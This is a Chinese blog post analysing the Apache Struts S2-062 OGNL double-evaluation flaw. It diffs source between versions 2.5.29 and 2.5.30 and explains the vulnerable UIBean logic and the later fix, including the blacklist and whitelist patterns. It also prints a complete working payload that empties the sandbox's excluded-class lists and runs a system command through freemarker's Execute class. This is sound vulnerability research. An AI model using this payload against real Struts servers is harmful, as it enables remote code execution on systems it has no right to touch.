前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
影响版本Struts 2.0.0 - Struts 2.5.29,这里使用Struts 2.5.29。
根据官方通告,问题出在其他标签的某些属性中,下载Struts 2.5.29和Struts 2.5.30的源码,diff一下两个版本的UIBean类:

可以看到Struts 2.5.29的这段代码:
1 2 3 4 5 6
| String expr = completeExpressionIfAltSyntax(name); if (recursion(name)) { addParameter("nameValue", expr); } else { addParameter("nameValue", findValue(expr, valueClazz)); }
|
以name解析后的expr作参数调用findValue,这里很有可能存在一个双重评估,看一下completeExpressionIfAltSyntax函数:
1 2 3 4 5 6 7 8 9 10 11 12 13
| protected String completeExpressionIfAltSyntax(String expr) { if (altSyntax() && !ComponentUtils.containsExpression(expr)) { return "%{" + expr + "}"; } return expr; }
public static boolean containsExpression(String expr) { return expr != null && expr.contains("%{") && expr.contains("}"); }
|
如果name中没有%{}就加上去,再看一下recursion函数:
1 2 3 4
| protected boolean recursion(String expr) { return ComponentUtils.altSyntax(stack) && ComponentUtils.containsExpression(expr); }
|
很明显containsExpression函数这里对双重评估做了一点点防护,然而虽然禁止了name中的%{},但是它自己又会给name加上%{}变成expr,所以这里的代码写了个空,我们还是可以通过这里的双重评估执行表达式。
修改模板文件,在name属性中添加一个表达式:
1
| <s:label name="%{username}"/>
|
输入username为:
1
| #{#application['org.apache.catalina.resources']}
|
可以看到发生了双重评估,输入的username作为表达式执行了:

漏洞利用
先版本禁止了通过DefaultInstanceManager创建对象,但是没有禁止通过BeanMap调用某个对象的setter和getter,所以我们只要找到新的创建对象的方法就可以继续绕过沙盒。
payload中使用的是这样的写法:
1
| #@org.apache.commons.collections.BeanMap@{}
|
效果如下:

该版本的#attr没有了:

但是#request中还有OgnlValueStack:

把S2-061的payload改一改就能用了,清空黑名单之后可以获取application中的InstanceManager对象来创建Execute对象完成命令执行,最后的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| data1 = { "username": "(#beanmap=#@org.apache.commons.collections.BeanMap@{})." "(#stack=#request['struts.valueStack'])." "(#beanmap.setBean(#stack))." "(#context=#beanmap.get(\"context\"))." "(#beanmap.setBean(#context))." "(#memberAccess=#beanmap.get(\"memberAccess\"))." "(#beanmap.setBean(#memberAccess))." "(#beanmap.put(\"excludedPackageNames\", #@org.apache.commons.collections.BeanMap@{}.keySet()))." "(#beanmap.put(\"excludedClasses\", #@org.apache.commons.collections.BeanMap@{}.keySet()))." "(#application['org.apache.tomcat.InstanceManager'].newInstance(\"freemarker.template.utility.Execute\").exec({\"calc.exe\"}))" }
|
漏洞修复
在Struts 2.5.30中,漏洞代码改动如下:
1 2 3 4 5 6 7 8
| boolean evaluated = !translatedName.equals(this.name); boolean reevaluate = !evaluated || isAcceptableExpression(translatedName); if (!reevaluate) { addParameter(NAME_VALUE, translatedName); } else { String expr = completeExpressionIfAltSyntax(translatedName); addParameter(NAME_VALUE, findValue(expr, valueClazz)); }
|
发生双重评估时translatedName与name不等,因此evaluated为true,所以reevaluate的取值取决于isAcceptableExpression函数,其代码如下:
1 2 3 4 5 6 7 8 9 10 11
| protected boolean isAcceptableExpression(String expression) { NotExcludedAcceptedPatternsChecker.IsAllowed isAllowed = notExcludedAcceptedPatterns.isAllowed(expression); if (isAllowed.isAllowed()) { return true; }
LOG.warn("Expression [{}] isn't allowed by pattern [{}]! See Accepted / Excluded patterns at\n" + "https://struts.apache.org/security/", expression, isAllowed.getAllowedPattern());
return false; }
|
notExcludedAcceptedPatterns是一个DefaultNotExcludedAcceptedPatternsChecker对象,其包括一个黑名单对象DefaultExcludedPatternsChecker:
1 2 3 4
| public static final String[] EXCLUDED_PATTERNS = { "(^|\\%\\{)((#?)(top(\\.|\\['|\\[\")|\\[\\d\\]\\.)?)(dojo|struts|session|request|response|application|servlet(Request|Response|Context)|parameters|context|_memberAccess)(\\.|\\[).*", ".*(^|\\.|\\[|\\'|\"|get)class(\\(\\.|\\[|\\'|\").*" };
|
通过黑名单之后是一个白名单对象,只有符合白名单的才会通过校验:
1 2 3 4 5 6 7
| public static final String[] ACCEPTED_PATTERNS = { "\\w+((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*" };
public static final String[] DMI_AWARE_ACCEPTED_PATTERNS = { "\\w+([:]?\\w+)?((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*([!]?\\w+)?" };
|
看起来就很麻烦的正则。
参考
https://github.com/YanMu2020/s2-062/blob/main/s2-062.py